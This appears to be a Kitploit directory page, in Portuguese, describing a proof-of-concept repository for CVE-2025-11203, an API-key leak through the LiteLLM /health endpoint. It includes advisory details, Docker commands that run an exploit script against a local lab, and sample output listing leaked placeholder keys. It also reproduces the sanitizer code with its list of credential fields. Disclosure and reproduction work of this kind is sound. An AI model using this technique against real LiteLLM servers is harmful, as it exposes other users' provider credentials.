Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-11203-PoC — O código para reproduzir pessoalmente a vulnerabilidade correspondente | Kitploit
Ferramentas/GitHubGitHub/learner202649/cve-2025-11203-poc
Análise de VulnerabilidadesExploraçãoColeta de InformaçõesSegurança WebAprendizado e EducaçãoSegurança de API
GitHublearner202649/cve-2025-11203-poc

CVE-2025-11203-PoC

O código para reproduzir pessoalmente a vulnerabilidade correspondente

Ver Repositório
4há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-11203 — Divulgação de Informações de API_KEY no Endpoint de Saúde do LiteLLM

LiteLLM (versões < 1.63.14), o endpoint /health, ao processar o parâmetro api_key, não filtra corretamente informações sensíveis, permitindo que usuários autenticados obtenham as chaves de API armazenadas nas configurações de outros modelos. O campo api_key, que deveria ser removido pela função _clean_endpoint_data(), é vazado em determinados caminhos de código.

CampoValor
CVECVE-2025-11203
ID ZDIZDI-25-929 (ZDI-CAN-26585)
CVSS v3.03.5 (BAIXA) — AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N
CWECWE-200 (Exposição de Informações Sensíveis a um Ator Não Autorizado)
AfetadosLiteLLM < 1.63.14
Corrigidov1.63.14+ (aplicação completa de _clean_endpoint_data())
Publicado em2025-10-29
Descoberto porDavid Fiser & Alfredo Oliveira — Trend Micro Security Research
Relatado ao fornecedor2025-03-25
LinksZDI-25-929 • NVD • GHSA-w4vf-cc4x-mpjq

Descrição

O endpoint /health do LiteLLM é usado para retornar o status de saúde de todos os modelos configurados. Em condições normais, a função _clean_endpoint_data() deve remover campos sensíveis (como api_key, x-api-key, etc.) da resposta da verificação de saúde.

No entanto, antes da v1.63.14, essa função de limpeza não era executada ou era executada de forma incompleta em determinados caminhos de código, fazendo com que as chaves de API das configurações dos modelos fossem retornadas em texto claro na resposta da verificação de saúde.

Endpoints vulneráveis

EndpointMétodoDescrição
/healthGETRetorna o status de saúde de todos os modelos
/health/livelinessGETVerificação de atividade (liveness)
/health/readinessGETVerificação de prontidão (readiness)

Informações sensíveis vazadas

Usuários autenticados podem obter por meio da interface de verificação de saúde:

  • As chaves de API de todos os modelos configurados (OpenAI, Anthropic, Azure, etc.)
  • Informações como as URLs dos endpoints dos modelos
  • As credenciais armazenadas podem ser usadas para ataques adicionais

Prova de Conceito

Início Rápido (Docker)

root@kitploit:~
# 1. 启动脆弱版 LiteLLM
docker compose up -d

# 2. 安装依赖
pip install -r requirements.txt

# 3. 运行利用脚本
python3 exploit/exploit.py --target http://localhost:4000 --key sk-litellm-master-key

# 4. 查看完整响应
python3 exploit/exploit.py --target http://localhost:4000 --key sk-litellm-master-key --verbose

# 5. (可选)验证修复版本
docker compose --profile fixed up -d
python3 exploit/exploit.py --target http://localhost:4001 --key sk-litellm-master-key --fixed

Saída esperada

root@kitploit:~
======================================================================
[VULNERABLE] CVE-2025-11203 — Health Endpoint API Key Leak
======================================================================
 Target     : http://localhost:4000
 API Key    : sk-litellm-master-key...
 Endpoint   : /health

[*] Step 1: Query /health (this may take ~60s while LiteLLM probes upstream models)...
    HTTP 200 — OK

[*] Step 2: Scanning for leaked credentials...

[🔥] LEAKED CREDENTIALS FOUND: 3 item(s)!

    Path  : unhealthy_endpoints[0].api_key
    Field : api_key
    Value : sk-this-is-a-leaked-openai-key...cdef123456  (len=43)

    Path  : unhealthy_endpoints[1].api_key
    Field : api_key
    Value : sk-another-leaked-key-789012xy...-789012xyz  (len=31)

    Path  : unhealthy_endpoints[2].api_key
    Field : api_key
    Value : sk-ant-anthropic-leaked-key-xx...-key-xxxxx  (len=33)

 Models checked: 3
 Credentials leaked: 3
 [🔥] VULNERABILITY CONFIRMED: API keys exposed via /health!

Nota: A etapa 1 leva ~60s porque o LiteLLM testa cada modelo upstream (as chaves falsas fazem cada conexão expirar). As chaves vazadas aparecem em unhealthy_endpoints, pois as chaves falsas não conseguem se conectar à OpenAI/Anthropic.

A versão corrigida bloqueia o vazamento:

root@kitploit:~
======================================================================
[FIXED] CVE-2025-11203 — Health Endpoint API Key Leak
======================================================================
    No API keys found in response.
    [+] Expected: keys sanitized by _clean_endpoint_data()

Detalhes Técnicos

Código vulnerável

A vulnerabilidade está na função _clean_endpoint_data(), em litellm/proxy/health_check.py, que filtra campos sensíveis como api_key por meio da lista ILLEGAL_DISPLAY_PARAMS:

root@kitploit:~
ILLEGAL_DISPLAY_PARAMS = [
    "messages",
    "api_key",
    "prompt",
    "input",
    "vertex_credentials",
    "aws_access_key_id",
    "aws_secret_access_key",
]

def _clean_endpoint_data(endpoint_data: dict, details: Optional[bool] = True):
    return (
        {k: v for k, v in endpoint_data.items() if k not in ILLEGAL_DISPLAY_PARAMS}
        if details is not False
        else {k: v for k, v in endpoint_data.items() if k in MINIMAL_DISPLAY_PARAMS}
    )

Nesta demonstração, "api_key" foi removido de ILLEGAL_DISPLAY_PARAMS por meio de sed, fazendo com que a resposta do /health retorne a configuração bruta dos modelos, simulando o cenário em que essa função de limpeza é contornada em determinados caminhos de código.

Impacto

  • Usuários autenticados com privilégios baixos podem ler as chaves de API de todas as configurações de modelos
  • As credenciais vazadas podem ser usadas para chamar diretamente as APIs dos provedores de LLM
  • Pode levar a novos vazamentos de dados e à tomada de contas

Ambiente

root@kitploit:~
CVE-2025-11203/
├── README.md                    # This file
├── docker-compose.yml           # Vulnerable + fixed LiteLLM
├── litellm_config.yaml          # Config with 3 models + API keys
├── requirements.txt             # Python dependencies
├── litellm-vuln/
│   └── Dockerfile               # pip install "litellm[proxy]==1.61.0" + patch
├── exploit/
│   └── exploit.py               # Main exploit script
├── docs/
│   └── advisory.md
└── screenshots/

Correção

Corrigido na v1.63.14, garantindo que _clean_endpoint_data() seja chamada corretamente em todos os caminhos de código da verificação de saúde.

Medidas de mitigação

  1. Atualize o LiteLLM para v1.63.14+
  2. Se não for possível atualizar, restrinja as origens de acesso ao endpoint /health
  3. Monitore acessos anômalos ao endpoint de verificação de saúde

Referências

  • ZDI-25-929
  • Detalhes no NVD
  • GHSA-w4vf-cc4x-mpjq
  • Notas de versão do LiteLLM v1.63.14

Aviso legal: Este conteúdo é fornecido apenas para fins educacionais e testes de segurança autorizados.

Baixar ferramenta